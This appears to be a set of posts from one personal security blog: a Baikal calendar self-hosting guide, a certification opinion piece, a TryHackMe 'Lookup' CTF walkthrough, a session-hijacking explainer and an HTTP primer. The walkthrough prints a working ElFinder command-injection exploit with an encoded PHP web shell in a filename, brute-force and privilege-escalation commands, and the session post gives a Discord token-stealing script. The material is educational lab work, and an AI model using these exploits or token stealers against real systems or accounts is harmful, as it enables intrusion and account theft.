To quickly test Baikal, run this Docker command. However, for a more structured and scalable setup (especially if you want better CI/CD practices), we recommend using docker-compose.yml.

Step-by-Step Guide to Setup Baikal

Step 1: Create a directory to hold your Baïkal configurations, and it's a good idea to back it up if you ever move infrastructure.

sudo mkdir /opt/baikal && sudo chown \(USER:\)USER /opt/baikal

This command creates a directory under /opt/baikal and changes ownership to your current user to avoid needing sudo later.

Step 2: Create a docker-compose.yml file under /opt/baikal.

services:
  baikal:
    image: ckulka/baikal:nginx
    restart: always # restart on reboot to avoid down time
    ports:
      - 80:80       # expose baikal on localhost port 80
    volumes:
      - /opt/baikal/config:/var/www/baikal/config         # store baikal configrations
      - /opt/baikal/Specific:/var/www/baikal/Specific     # store baikal configrations

Step 3: Once you start Baikal. Visit http://127.0.0.1 in your browser. You’ll be greeted by a setup page where you can select your time zone and create an admin account.

cd /opt/baikal && docker compose up -d

Step 4: Choose a Database. Baikal supports SQLite, MySQL, and PostgreSQL. For most personal or small-scale use cases, SQLite works perfectly. Select it, save, and continue.

Step 5: Use your admin credentials to access the main dashboard. From here, you can tweak any configuration settings we made so far.

Step 6: To start using calendar you need an user and it can't be the admin account be just created. Head to the "Users and Resources" section to set up your first user. No need for an actual email address.

Step 7: After creating a user click on Calendars. You can create multiple calendars per user, similar to Google Calendar. By default a calendar is automatically created named as "Default Calendar".

Step 8: Click Edit, enable Notes, and copy the CalDAV URI by clicking the info (i) button. Be sure to only copy path up to /dav.php to avoid permission issues (e.g., http://127.0.0.1/dav.php).

That's it! just use new user credentials and URI to integrate with your Morgen calendar.

Though steps are fairly easy to follow and similar to most self-hosting process. However, if you feel stuck, I've included a step-by-step YouTube video below for your convenience.

Integrate Baikal with Morgen Calendar

Connecting Baikal to Morgen via CalDAV is quick and easy. Depending on your Morgen configuration, follow the appropriate path. Once you hit the CalDAV option, just enter your username, password, and Baikal server URL.

• First Time Adding a Calendar: Go to Settings > Profile > Calendars > Add an account > Other (CalDAV).

• Premium Users (Adding Another Calendar): Try Settings > Profile > Calendars > Add account > Calendar accounts > Other (CalDAV).

• Alternate Method: Settings > Profile > External accounts > Add account > Connect a calendar account > Other (CalDAV).

Pro Tip: Morgen supports all major calendar providers. But if your preferred provider isn't listed, check whether it offers CalDAV support. If so, you can still seamlessly integrate it with Morgen using the same steps.

Morgen Protects Your Privacy?

While Morgen is not end-to-end encrypted, I still choose to use it because it’s available on all three major operating systems, and it’s a fantastic product. With its simple UI/UX and seamless integration with to-do lists, it offers a smooth user experience.

According to Morgen’s Privacy Policy, they don't sell your data or share it with third parties. Any collected information is securely stored and processed on cloud infrastructure that complies with GDPR regulations. Their data centers are located in Switzerland and the European Union, both regions are known for their strict data protection laws.

It's important to note that Morgen is solely a calendar client. Your events remain stored on the servers of your selected calendar provider (such as Google or Outlook) and are subject to their privacy policies.

To address this concern, Morgen offers CalDAV integration, giving you the ability to self-host your calendar and maintain full control over your schedule and organizational data. This way, your life's routines and personal information stay truly yours.

https://www.youtube.com/watch?v=8TXingj9aRY

What's Next?

• Enable HTTPS to encrypt data exchanges

  • Route Baikal traffic through a reverse proxy like Traefik or Caddy.

• Set up regular backups to S3 or another cloud storage service.

• Add an SMTP server to send and receive emails, ideal for organizational use.

• Check out the Baikal Docker repository for more advanced configuration options and resources.

The Reality of CEH (Certified Ethical Hacker)

To be blunt, the CEH theory exam is underwhelming—just a collection of random multiple-choice questions. Some are so absurd you’ll wonder why they’re even there. (Like, what protocol does your smart LED light use? Seriously?) The practical exam? A bit better but honestly way too simple. If you're somewhat familiar with pentesting, you'll clear it without breaking a sweat.

So, Why Did I Bother with CEH?

Here’s the thing: CEH is a well-known name in the job market—even if it won’t guarantee you a job. Certifications like OSCP and CISSP tend to carry more weight, but some companies still mention CEH in job descriptions. And trust me, no recruiter is going to ask, “Did you take the theory or practical exam?” If you’re keen on adding CEH to your resume, just go for the practical version.

eJPT (eLearnSecurity Junior Penetration Tester): A Better Learning Experience

This certification is solid for building real skills. If you’ve done a few beginner TryHackMe rooms, you’ll likely find eJPT manageable. The course, designed by Alex from Hackersploit, offers hands-on labs and covers important topics like Metasploit—arguably one of the best Metasploit courses I’ve ever seen.

The exam? It’s like a Capture the Flag (CTF) challenge:

• 4 Windows and 3 Linux machines (your setup might vary)

• You’ll search for flags, identify open ports, perform privilege escalation, etc.
  The most challenging part for me was pivoting—my connection wasn’t working, so I had to write a batch script to grab the flag. But that’s what makes it fun!

Key Highlights:

• 48-hour, open-internet, non-proctored exam

• You can search online, use tools, and even ask ChatGPT (how cool is that?)
  It’s an amazing learning experience and a great way to validate your ability to conduct a simple pentest.

So, Which One’s Worth Your Time?

Let’s face it—CEH is expensive and unlikely to land you a job on its own (especially in India). You might get an internship or work as a trainer, but that's about it. eJPT, while not widely recognized, offers better value in terms of learning and skill development.

If I Had to Do It Again?

• eJPT > TCM Security Certs & HTB Certs > OSCP

Invest in certifications that matter. CEH cost me $500 back in 2021—money that would have been better spent on practical, respected certs like PNPT or HTB.

Bonus Perks with eJPT:

• Comes with an ICCA voucher

• Includes a cloud certification covering basic concepts with lab tasks
  If you’re getting it bundled, why not take advantage?

Final Thoughts:
If you want validation that you can perform a simple pentest, go for eJPT. Skip CEH unless you absolutely need it for a job requirement. And most importantly—never stop learning and practicing.

Best of luck on your cybersecurity journey!

Lookup is a Linux machine challenge where we first encounter a login webpage. The login page responds differently depending on whether the user exists. After enumerating valid usernames, we brute-force credentials for the found user using Hydra. After a successful login, we are redirected to ElFinder, a web file manager vulnerable to PHP command injection. We modify the script for Python 3.

After gaining initial access as the www-data user, we enumerate and find a user think along with an ELF SUID executable /usr/sbin/pwm. This SUID executable runs the id command to impersonate the current user and read the /home/<current_user>/.passwords file. Since PWM doesn’t use an absolute path, we create our own id executable under /tmp/id and add it to the PATH to impersonate user think.

The .passwords file contains a list of possible passwords, which we use to brute-force the think user's SSH login. We then discover that the user think can only execute the look command with sudo. Using this, we obtain the root user's SSH private key (id_rsa) to log in and retrieve the root flag.

Passive Enumeration

Port Scan

sudo nmap -sS -sV <ip>

• The port scan reveals two open ports:

  • HTTP Port: 80

  • SSH Port: 22

Visiting the target IP in a browser redirects to lookup.thm, so we need to add that to the /etc/hosts file.

echo "<target_ip> lookup.thm" | sudo tee -a /etc/hosts

Directory Brute-Force on Port 80

feroxbuster --url="http://lookup.thm" --wordlist /usr/share/SecLists/Discovery/Web-Content/raft-large-extensions.txt

• No luck with directory brute-force.

After trying a full port scan, SSH brute-force, sqlmap, and nikto, I wasted about an hour with no useful results.

Finding Valid Usernames & Passwords

I tried basic credentials on the login page, such as admin:admin, test:password. After a few attempts, I noticed that the webpage responds differently when the user admin is entered, showing Wrong Password, and for any other users, it shows Wrong Password or Username. I brute-forced the password for admin but didn’t have any luck. This could mean that the server is returning valid passwords for different users. Why? could be bad coding practices, so I explored the possibility of other valid users.

Enumerate Valid Users

hydra -L /usr/share/SecLists/Usernames/xato-net-10-million-usernames-dup.txt -p password lookup.thm http-post-form "/login.php:username=^USER^&password=^PASS^:Wrong username" -I

• Found User: j-fake-name

I then brute-forced the password for j-fake-name:

hydra -l j-fake-name -P /usr/share/SecLists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt lookup.thm http-post-form "/login.php:username=^USER^&password=^PASS^:Wrong password" -I

• Found Password for j-fake-name: j-fake-password

Getting Initial Access (Shell)

After logging in with valid credentials, I was redirected to files.lookup.thm, so I added it to /etc/hosts.

echo "<target_ip> files.lookup.thm" | sudo tee -a /etc/hosts

This is ElFinder, a web file manager. From the ? button icon in menu section, I identified the version of ElFinder. A Google search for ElFinder 2.1.47 exploit led me to an exploit on Exploit-DB, which revealed that this version is vulnerable to PHP command injection.

We can use the Exploit-DB script with a few modifications, or alternatively, we can use Metasploit. I'll demonstrate both methods.

First, Exploit-DB Script

The script uploads a JPG file to the file server, using an encoded payload as the image filename. However, there is an issue: I don’t have Python2 installed. This should not be a problem for Kali Linux users, as it comes pre-packaged with Python2. Below is the modified Python3 script.

#!/usr/bin/python
# exploit.py
import requests
import json
import sys

payload = "SecSignal.jpg;echo 3c3f7068702073797374656d28245f4745545b2263225d293b203f3e0a | xxd -r -p > SecSignal.php;echo SecSignal.jpg"

def usage():
    if len(sys.argv) != 2:
        print("Usage: python exploit.py [URL]")
        sys.exit(0)


def upload(url, payload):
    files = {"upload[]": (payload, open("SecSignal.jpg", "rb"))}
    data = {
        "reqid": "1693222c439f4",
        "cmd": "upload",
        "target": "l1_Lw",
        "mtime[]": "1497726174",
    }

    r = requests.post("%s/php/connector.minimal.php" % url, files=files, data=data)
    j = json.loads(r.text)
    return j["added"][0]["hash"]


def imgRotate(url, hash):
    r = requests.get(
        "%s/php/connector.minimal.php?target=%s&width=539&height=960&degree=180&quality=100&bg=&mode=rotate&cmd=resize&reqid=169323550af10c"
        % (url, hash)
    )
    return r.text


def shell(url):
    r = requests.get("%s/php/SecSignal.php" % url)
    if r.status_code == 200:
        print("[+] Pwned! :)")
        print("[+] Getting the shell...")
        while 1:
            try:
                inp = input("$ ")
                r = requests.get("%s/php/SecSignal.php?c=%s" % (url, inp))
                print(r.text)
            except KeyboardInterrupt:

                sys.exit("\nBye kaker!")
    else:
        print("[*] The site seems not to be vulnerable :(")


def main():
    usage()
    url = sys.argv[1]
    print("[*] Uploading the malicious image...")
    hash = upload(url, payload)
    print("[*] Running the payload...")
    imgRotate(url, hash)
    shell(url)


if __name__ == "__main__":
    main()

To get the shell, copy a jpg image to the current working directory, rename it to SecSignal.jpg, and run:

python exploit.py http://files.lookup.thm/elFinder

Next, we upgrade the shell for better control. I first tried a Bash -i reverse shell, which didn’t work. Then I used a nc mkfiko reverse shell (from revshells.com) in URL-encoded format because the connection is over HTTP. Replace the IP and port accordingly, and start a nc server on the host machine. (Make sure the firewall is disabled or the port is allowed; otherwise, the reverse shell might not work.)

To stabilize the nc shell:

export TERM=xterm
bash -i

Now, Metasploit Way

Using Metasploit is much easier since it already has an exploit module for this vulnerability, which provides a fully functional meterpreter session.

msf6> use exploit/unix/webapp/elfinder_php_connector_exiftran_cmd_injection
msf6> set RHOSTS files.lookup.thm
msf6> set LHOST tun0
msf6> run

meterpreter> shell

Privilege Escalation

After gaining initial access as www-data, I navigated to /home and found a user named think. This user's directory contained two interesting files: user.txt (the flag) and .passwords, which likely contains the password for think user. However, I couldn't access them as I wasn’t logged in as think.

Find SUID Executables for Privilege Escalation

find / -perm -4000 2>/dev/null

• I found an unknown binary owned by root with the SUID bit set: /usr/sbin/pwm.

Getting User Shell

Executing /usr/sbin/pwm reveals that it runs the id command to impersonate the user and read the .passwords file in the user's home directory.

Simple ltrace and strace didn’t reveal anything useful, so I assumed the pwm binary doesn’t use an absolute path for the id command. This means we can perform a Path Hijack, where we create our own id command and add it to the PATH variable. This way, when pwm executes, it will run our custom id command instead of the real one.

Our custom id command will return the id of the think user, and pwm will print the .passwords file of the returned user ID.

# Create the `id` command under /tmp/id
cat > /tmp/id << EOF
#!/bin/bash
echo '$(id think)'
EOF

# Give executable permission to /tmp/id
chmod +x /tmp/id

# Add /tmp/ to the `PATH` variable
export PATH=/tmp:$PATH

# Execute `pwm` to get the `/home/think/.passwords` file
/usr/sbin/pwm

We now have the .passwords file, which contains a list of passwords. I copied them to my host machine to brute-force the think user's SSH login.

hydra -l think -P passwords.txt 10.10.73.36 ssh

• Password Found: think-fake-password

I SSHed into the think user and retrieved the user.txt flag. Next, get the root shell.

Getting the Root Shell

This step was straightforward. The think user can only run the look command with sudo.

sudo -l

I searched for look on GTFOBins to check for privilege escalation options.

There are two ways to proceed: first, directly access the flag:

LFILE=/root/root.txt
sudo look '' "$LFILE"

Alternatively, copy the root's SSH private key to the host machine and SSH into the target as root.

LFILE=/root/.ssh/id_rsa
sudo look '' "$LFILE"

Copy the private key to the host machine as id_rsa and run:

chmod 600 id_rsa
ssh -i id_rsa root@lookup.thm

Target PWNED!

Thanks for reading! I hope you learnt something new. This is my first CTF walkthrough write-up. You can check out my blog FlareXes for more cybersecurity, programming, Linux, privacy, and automation content.

This is the part-2 of the series HTTP for Hacker, Programmers and Everything. Part-1 covers the basics of HTTP protocol which is necessary to fully understand this attack vector.

In this article, we will explore:

• What is Session Hijacking?

• Why Does It Exist?

• How to Prevent It?

Why Cookies Were Introduced?

Cookies are small piece of information stored the browser. Developers also refers cookies as Local Storage.

Cookies are extremely misinterpreted topic in the general public. It's not uncommon to see comments like "Cookies were made to spy on us", "Of course it's cookies, cause of all the problems". And they are not wrong in their own ways. But nothing can be introduced just for the bad reasons; their has to be some good in it or at least a good narrative. Such as, OpenAI mission is to help people with disabilities not to make big bucks but they are making BIG BUCKS!. Same goes for Microsoft recent feature Recall, Recall continuous takes screenshots to help users search things faster without invading users privacy. HOW? Doesn't matter it's a narrative.

But that's not the case with cookies. They were not created with a wrong intention or misleading narrative. In reality, cookies revolutionized the way we use web today and now the entire web depends upon cookies. Story begins in early 1995, when world start needing more complex web-applications. Initially websites only consist HTML, they were sample with few text. You can still visit world's first website at info.cern.ch. But as the world progressed people needs also start increasing. We needed websites for more complex tasks such as real-time chatting, user authentication or personalized settings like our favorite dark mode and for that to work a temporary storage was required named as cookies.

Why Cookies & Not HTTP Headers?

If you have read my previous blog post on HTTP then you already know that HTTP is a stateless protocol. HTTP can't keep track of any relation or data between requests. For instance, a website supports dark mode. You click on dark mode toggle and it will send a HTTP request to server for no reason because dark mode functionality reside on frontend side. When browser get response from server it set website theme in dark mode. Then you make an another request and website get back to light mode again. Because it won't remember what you did before. Now let's take the same example with cookies in action. You click on dark mode toggle and website cookies has a variable THEME=light now it is set to THEME=dark. Now it doesn't matter if you refresh or make a new request. This theme information is stored in browser and it will only change when you click on dark mode toggle again.

How Does Authentication Works in HTTP?

One of the core functionality cookies enabled us was to authenticate user on websites. Before their wasn't any proper authentication mechanism, if you try to authenticate then user have to enter credentials for every request because HTTP is a stateless protocol - every request had to authenticate individually. Up until cookies was introduced, now browsers can store information so instead of entering credentials every time for each request, it possible to store those credentials in cookies and let browser append those credentials (stored as cookies) to each HTTP request as header. And this all became possible without modifying the HTTP protocol.

Above explanation is just an overview of "How authentication came in existence (in web) and how authentication implementation would look like". But still we are missing few aspects such as: It not an good idea to store credentials in cookies as plain text cause of obvious security concerns.

So, Let's understand step-by-step "How does authentication really take place in HTTP?":

Step 1: Client sends a request to server granting access to admin page with no authentication information.

Step 2: Server responds with 401 Unauthorized status code, indicating user is not authenticated.

Server response header would include WWW-Authenticate header specifying the supported authentication methods (e.g., Basic Auth, Digest, Kerberos).

HTTP/1.1 401 Unauthorized
WWW-Authenticate: Basic realm="#TODO: Use Burp to See"
Content-Type: text/html; charset=UTF-8

<h2>Unauthorized Access</h2>
<p>You need to authenticate to access admin portal.</p>

Step 3: For basic auth, the client will encode the credentials such as username and password in Base64 attached with Authorization request header and send it to the server.

GET /protected/resource HTTP/1.1
Host: example.com
Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==

Step 4: The server verifies the received credentials from the internal user database. If credentials are valid server will respond with randomly generated session token.

In below example server included Set-Cookie header, where session_token is key and bDBiTGlqejVoczUiXVtaL24udldZSUK as value or token. Key is not restricted to named as session_token it could be session or just token, different websites use different variations.

HTTP/1.1 200 OK
Content-Type: text/html
Set-Cookie: session_token=bDBiTGlqejVoczUiXVtaL24udldZSUK;

Step 5: Now browser will store session token as cookies and for each subsequent request the client sends the stored session token back to the server as a header. The server verifies the session token against its internal session management system. If the session token is valid, the server grants access to the requested resource.

GET /another/resource HTTP/1.1
Host: example.com
Cookie: session_token=bDBiTGlqejVoczUiXVtaL24udldZSUK

That's how authentication works in HTTP and now you understand "How cookies overcome the limitation of stateless nature of HTTP?".

Session Hijacking: Hacking Discord and Spotify

Session Token is the backbone of WWW authentication. The idea of Session Hijacking is extremely simple, steal the tokens. Once a user authenticate to a website in the case discord, it's session token will be store in browser cookies that can easily be grabbed. If a threat actor gets hold of session token she can easily hack into user's discord account without needing any credentials.

Discord via Browser

Step 1: Open Discord in your browser and log in.

Step 2: Press F12 or right-click and select "Inspect" to open developer tools.

Step 3: Switch to the "Application" or "Storage" tab.

Step 4: Look for "Local Storage" and find the token key.

Step 5: Expand the discord key to view the session token.

Step 6: Open a private window or a different browser.

Step 7: Go-to the same location Storage > Local Storage.

Step 8: Create a new key-pair: token as key and copied session token as vaule.

Step 9: Hit refresh and click on top-right conor button Open Discord.

Step 10: Voila! You are logged in without needing any credentials, even 2FA bypass.

Discord Desktop Application

Mostly hackers use automated scripts or programs to steal tokens instead of doing manually. Below script allow users to extract session tokens from Discord desktop client.

def get_token(path):
    if not os.path.exists(path): return

    for file in os.listdir(path):
        if file.endswith(".log") or file.endswith(".ldb")   :
            for line in [x.strip() for x in open(f"{path}\\{file}", errors="ignore").readlines() if x.strip()]:
                for regex in (r"[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}", r"mfa\.[\w-]{80,95}"):
                    for token in re.findall(regex, line):
                        print(token)

get_token(path="~/.config/discord/Local Storage/leveldb")

# Linux: `~/.config/discord/Local Storage/leveldb`
# MacOS: `~/Library/Application Support/discord/Local Storage/leveldb`
# Windows: `%APPDATA%\Discord\Local Storage/leveldb`

Run the script:

python discord_infostealer.py

Spotify: Session Token for Privacy & Security

Spotube is a privacy focused Spotify client which block ads and remove many spotify's restrictions in free plan. But, to load your spotify playlists, liked song, and recommendation. Spotube needs spotify account access. Usually it's done by provide credentials to third-party in this case Spotube. Which is really uncomfortable, because by doing so you're trusting Spotube with your email and password. So, Instead of that, Spotube asks you to enter Session Token instead of spotify credentials this way spotube can fetch your music preferences from spotify without reveling credentials.

Note: This is only true for older versions of Spotube's desktop client, not mobile clients.

Prevent Session Hijacking

Session hijacking or token stealing is a powerful and stealthy attack. But it require access to the system whether it's physical or remote. At the same, prevention of this attack needs attentions both sides User's side and developer side, more on developer.

Developer & User's Responsibility

1. Physical Access

   • Don't allow anyone access to your hardware, anyone!

   • If it's not possible, logout every time, when you're done.

   • Remember Often, Those Closest to You Make You More Vulnerable Than You Realize.

2. Remote Access

   • Think twice before installing any application because most applications have file-system access. That means discord can hack into your spofity if they want to or vice versa.

   • Don't just relay on Antivirus because read file on system is not a malicious activity.

   • Logout every time, when you're done. If possible Logout from all devices frequently.

3. Secure Development

   • Regenerating session IDs after a user logs in.

   • Give option to revoke all session after password reset.

   • Using secure cookies (e.g., HttpOnly, Secure)

     • HttpOnly cookies are not accessible through JavaScript and are only transmitted over HTTP.

     • Hence it is also important to use secure protocols (HTTPS) to transmit cookies.

   • Implementing session timeouts and expiration

   • Use secure authentication mechanisms, such as OAuth or OpenID Connect, to prevent unauthorized access.

Logout vs Clear Browser History

When I ask my friends, “What’s the best way to protect from hacker?” Option A: Logout, Option B: Clear History. Their go-to answer is almost always, “Clear browser history.” Makes sense, right? No history, no problems. Except, uh, no. While clearing history does help protect your privacy and chances of getting new tokens stolen, but what about those that are already stolen by hacker? So from a security standpoint, it’s not the silver bullet they think it is.

Here’s the deal: hackers who get hold of your device can steal your session tokens, which are basically golden tickets that let them bypass your passwords and multi-factor authentication. But twist is, logging out kills those tokens. If your account has been compromised but the hacker hasn’t changed the password, you can still kick him out by logging out from your device. This will expires their session token so they cannot continue accessing your account and gives you a chance to secure it. So, when it comes to security of your accounts, logging out is even more crucial.

Tips for Developers: Never let users change the password without confirming current password.

Here’s What I Personally Recommend:

• Enable Clear History on Exit feature in your browser (note: this feature is not available in Google Chrome).

• Make logging out a habit—every time, even before clearing history.

Conclusion

Session Hijacking is a significant security threat that exploits the flaws of the HTTP protocol. By understanding how session tokens work and the potential risks associated with them, both users and developers can take proactive measures to protect against such attacks. Users should be vigilant about their online activities, ensuring they log out of accounts and avoid installing untrusted applications.

Developers, on the other hand, should implement robust security practices, such as using secure cookies, regenerating session IDs, and enforcing session timeouts. By working together, we can mitigate the risks of session hijacking and enhance the overall security of web applications.

For further insights into the foundational concepts of HTTP that are essential for understanding session hijacking, be sure to check out part-1 of this series, "HTTP for Hackers and Developers."

Hypertext Transfer Protocol (HTTP) is an application-layer protocol or layer 7 protocol on OSI model. It was introduced in 1991 by Sir Tim Berners-Lee, British computer scientist who also created the World Wide Web (WWW). It was designed for transmitting hypermedia documents over the internet, such as HTML. HTTP protocol defines set of rules for how data should be formatted and transmitted between the client and server. This ensures reliable and standardized communication. A crucial point to understand that, HTTP is a stateless protocol that means each request from a client to a server is independent and unrelated to any previous requests because of that the server does not keep any data (state) between two requests. More on that in cookies section.

Client-Server Architecture

HTTP protocol follows Client-Server architecture, with a client (e.g., web browser) opening a connection to make a request, then waiting until it receives a response from server or request get timeout. HTTP operates on Transmission Control Protocol (TCP) which ensure reliable, ordered, error-checked delivery and completeness of data transmission.

• Client:

  • Web Browsers, Programming Languages, or Many App That Can Make HTTP Request such as, Curl.

• Server:

  • Well-Known HTTP Web Servers e.g. - Nginx, IIS, NodeJS, Apache Tomcat etc.

Importance of Understanding HTTP

HTTP is a core foundation of today's technological world. As a programmer and hacker, HTTP protocol gives you understanding of writing better web-based applications and secure applications too. It gives you a distinct view of looking a website and debug them.

Let's understand with an example, Do you know that you can access different resources or perform different actions if I make a request to same URI like flarexes.com/action. You may be thing but how? Different response from same request URI? This is possible via various ways but common one is HTTP Methods. I will cover them later. But sometimes programmers don't restrict allowed HTTP methods and this become a dangling point where a hacker you can potentially find a enter point.

Having basic understanding of HTTP is invaluable for Web Development, API Development, Performance Optimization, Security, Troubleshooting and Debugging.

Fundamentals of HTTP

One good thing about this protocol is, it's super simple to understand. I recommend you going through it's RFCs when you have time. It's just a formatted text that has been standardized.

From client-server architecture section, we know that HTTP has two main components. First, Request that client makes and second, response that server sends. So, Let's understand both of them. We'll also take a seek-peek of "how this standardized format looks like?".

HTTP Request

An HTTP request is made by a client to server asking to access a resource on the server.

A correctly composed HTTP request contains the following elements:

1. Method

   • HTTP supports a set of methods, which defines the action to be performed on a given resource. e.g. - GET, POST, DELETE, PUT, OPTIONS.

2. Request-URI

   • A Request-URI locates to an existing resource on the internet, such as HTML or Image. e.g. - /path/images/cat.png.

3. HTTP Version

   • HTTP version indicates server which version of HTTP client is using. This wasn't mandatory in HTTP/0.9 and HTTP/1.0. It is important to note it allow server to respond appropriately otherwise it might cause issues because newer versions of HTTP has features that previous once don't support.

4. Headers

   • Headers let the client and server transmit additional information with an HTTP request or response. There are many standard HTTP headers defined in HTTP specification. Like Host which is a mandatory field except for HTTP/0.9. But client and server also add custom headers like x-token or anything meaningful.

5. Blank Line

   • To indicate end of headers (if there is a body, an optional HTTP specification).

Example of simplest possible HTTP request:

GET /resourse HTTP/1.1
Host: api.example.com

HTTP Response

An HTTP response is made by the server to client in response to it's request. A response contains the requested resource with other information which client can interpret.

A common composed HTTP response contains the following elements:

1. HTTP Version

   • Same as HTTP request from client, server also send HTTP version to client indicating which version of HTTP server is using. To avoid any conflicts in future.

2. Status Code

   • A status code is a three-digit number indicating the result type of the response, was it success, fail or unauthorized.

3. Status Text

   • A status text is human-readable text that summaries the meaning of the status code.

     Combination of HTTP Version, Status Code, Status Text is also known as Status Line.

   • You can learn more about HTTP status codes MDN Documentation link below. Mainly, HTTP response are grouped in five classes:

     1. Informational responses (100–199)

     2. Successful responses (200–299)

     3. Redirection messages (300–399)

     4. Client error responses (400–499)

     5. Server error responses (500–599)

4. HTTP Header

   • HTTP response header contain information that client can use to learn more about the response type and server. Below is an example of HTTP response headers which tells client, when response was sent, it was sent by GWS and that was a JPEG image:

Date: Sat, 08 Jun 2024 12:07:48 GMT
Server: gws
Content-type: image/jpg

5. Body

   • The message body in an HTTP response contain either the requested resource or additional information about the status of the action requested by the client. From out above example on headers, this could be an image.

   • Most responses have body except when client has used HEAD Method. Which request server to response headers without body. This come handle while debugging unexpected results.

Hands-on Practical Lab

There are hundreds of softwares, tools and utilities that allow users to send and receive HTTP headers. So, I'll first list few of my favourite once but later on I will be going with curl. Curl is wide-adopted command-line utility for interacting with HTTP and other protocols too. It's comes pre-installed in major UNIX/LINUX based operating system and can be installed in windows too.

1. Curl: Simple, easy, gets the job done.

2. Python: Complete control over every aspect of the HTTP protocol.

3. Postman: An another powerful API testing client known for its rich feature set.

4. HTTPie: API testing client with cli & gui versions. You can also try httpie online from HTTPie for Web.

5. Burp Suite: Hacker's favourite security testing software with extensive features including custom HTTP request capabilities.

Show Request and Response Headers

Just looking at output below, you can tell alot of things. Client is requesting / or root of Host via GET method. Also request is contracted from curl. Server respond with the same version of HTTP that client used HTTP/1.1 with status code 301 which means requested resource is moved to Location: http://www.google.com/.

It's an interesting observation that you won't see while browsing google.com in web-browser. Google actually doesn't host anything on google.com, instead they redirect you to www.google.com.

$ curl -v google.com

> GET / HTTP/1.1
> Host: google.com
> User-Agent: curl/8.8.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 301 Moved Permanently
< Location: http://www.google.com/
< Server: gws
< Content-Length: 219

Show Request and Response Headers with Redirects

Below command follow all redirects till it keeping getting Location header in server's HTTP Response.

$ curl -L -v google.com

> GET / HTTP/1.1
> Host: google.com
> User-Agent: curl/8.8.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 301 Moved Permanently
< Location: http://www.google.com/
<
> GET / HTTP/1.1
> Host: www.google.com
> User-Agent: curl/8.8.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< Date: Sat, 08 Jun 2024 10:57:17 GMT
< Expires: -1
< Cache-Control: private, max-age=0
< Content-Type: text/html; charset=ISO-8859-1

Send Request From Specific HTTP Version

Keeping in mind not all websites supports ever HTTP versions. Let's explore the fact, in HTTP transmission both client and server use same HTTP version if they can.

# HTTP/0.9 Version 
$ curl --head --http0.9 https://vercel.com

HTTP/2 200
server: Vercel

As you see, when I make a HTTP GET request from HTTP/0.9 version, server replied with HTTP/2 that show vercel doesn't support HTTP/0.9 version. Curl's default request method is GET and --head means only show HTTP response header.

Now, Try these commands and check HTTP version vercel replys with. It would be same as request.

# HTTP/1.1 Version 
$ curl --head --http1.1 https://vercel.com

# HTTP/2 Version 
$ curl --head --http2 https://vercel.com

Evolution of HTTP Versions

As far we have got the basic understanding of HTTP. However it's also important to know how it came so far. From a one line of protocol to spreading all over the internet, starting with HTTP/0.9.

HTTP/0.9 – The One Line Protocol

HTTP/0.9 was the simplest version of HTTP protocol. The request consists only possible method GET, followed by the path to the desired resource. There were no HTTP headers. This meant server can only respond with HTML files. After server every response connection get terminated.

GET /mypage.html

Key Points:

• Request Format: GET Method + Path of the resource

• Response Content: Limited to hypertext files

• Supported Methods: Only GET

• Connection Nature: Terminated once server dispatch response

• Limitation: No Headers, No Status Codes, No URLs, No Multimedia Files

HTTP/1.0 - The Building Block

RFC 1945 Outlined The HTTP 1.0 Protocol

To overcome the limitation of HTTP/0.9, a newer version HTTP/1.0 was introduced after few years. Established connections in HTTP/1.0 are short-lived. That means, a new connection created for each request and closed once response had been received. Therefore HTTP/1.0 is Non-Persistent Connections.

This was okay till modern web-pages started to get complex and required many requests to serve the page. HTTP/0.9 and HTTP/1.0 both are short-lived connections and Non-Persistent Connections. It lead to a different problem of Three-Way Handshake. HTTP is based on TCP that means a TCP handshake happens before each HTTP request and this in itself was time-consuming and resources heavy especially in 90's.

Example of HTTP/1.0 Request :

GET /index.html HTTP/1.0 
Host: www.example.com 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: text/html,application/xml,image/jpeg

Example of HTTP/1.0 Response :

HTTP/1.0 200 OK
Date: Mon, 10 Jun 2024 12:00:00 GMT
Server: Apache/1.3.27 (Unix) (Red-Hat/Linux)
Content-Type: text/html

<html>
A page with an image
  <img SRC="/image.jpg">
</html>

Followed second connection will also fetch image.

GET /image.jpg HTTP/1.0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)

HTTP/1.0 200 OK
Date: Mon, 10 Jun 2024 12:00:04 GMT
Server: Apache/1.3.27 (Unix) (Red-Hat/Linux)
Content-Type: text/jpeg
(image content)

Key Points:

• Request: Rich Metadata, Headers, HTTP Version, Status Code, Multimedia etc

• Response: Not limited to hypertext

• Methods: GET , HEAD , POST

• Connection Nature: Short-Lived

• Limitations: CPU Overhead, Buffering and Redundant Requests (handshake for each request)

HTTP/1.1 - The Standardized Protocol

RFC 2068 Outlined The HTTP 1.1 Protocol

The first standardized HTTP protocol, HTTP/1.1 was released in 1997. Since then it had been gone through two revisions, first in 1999 and second one in 2014. These changes were defined in RFC 2616 and RFC 7230 to RFC 7235. But the first official HTTP/1.1 standard is defined in RFC 2068, which was officially released in January 1997, roughly seven months after the publication of HTTP/1.0. It's been over two decades still HTTP/1.1 is most used HTTP version.

HTTP/1.1 introduced numerous improvement and overcame issues such as non-persistence connection and TCP handshake overhead. A Keep-Alive header was added to HTTP/1.1 specification. This header tells the server to not to close the connection. Therefore HTTP/1.1 is Persistent Connections. Persistent HTTP connections are designed to allow multiple request/response exchange without establishing a new connection every time.

HTTP/1.1 also introduced Caching mechanisms and Pipelining. HTTP pipelining is a technique that allows multiple HTTP requests to be sent over a single TCP connection without waiting for each response before sending the next request.

Key Points:

• Methods: GET , HEAD , POST , PUT , DELETE , TRACE , OPTIONS

• Connection Nature: Long-Lived

• Attack Surface: Prone to DOS Attack

• New Features: Pipelining , Caching , Persisted Connection

• Advantages: - Reduced Network Congestion, Chucked Transfer, Lower Resources Usage

HTTP/2.0 and HTTP/3.0 (HTTP Over QUIC)

I will skip over from these two protocols. They both were designed to improve the performance of complex web-applications such as YouTube. HTTP/3 is still experimental but used by many web-applications. Story of these protocols is fascinating too but nothing much add here except the part now HTTP is moving to UDP With Congestion Control instead of TCP. You can easily spot QUIC protocol in Wireshark capture on youtube. However, you can read about them from reference section. And If you want me to cover it comment below or on my socials, I'll update the article.

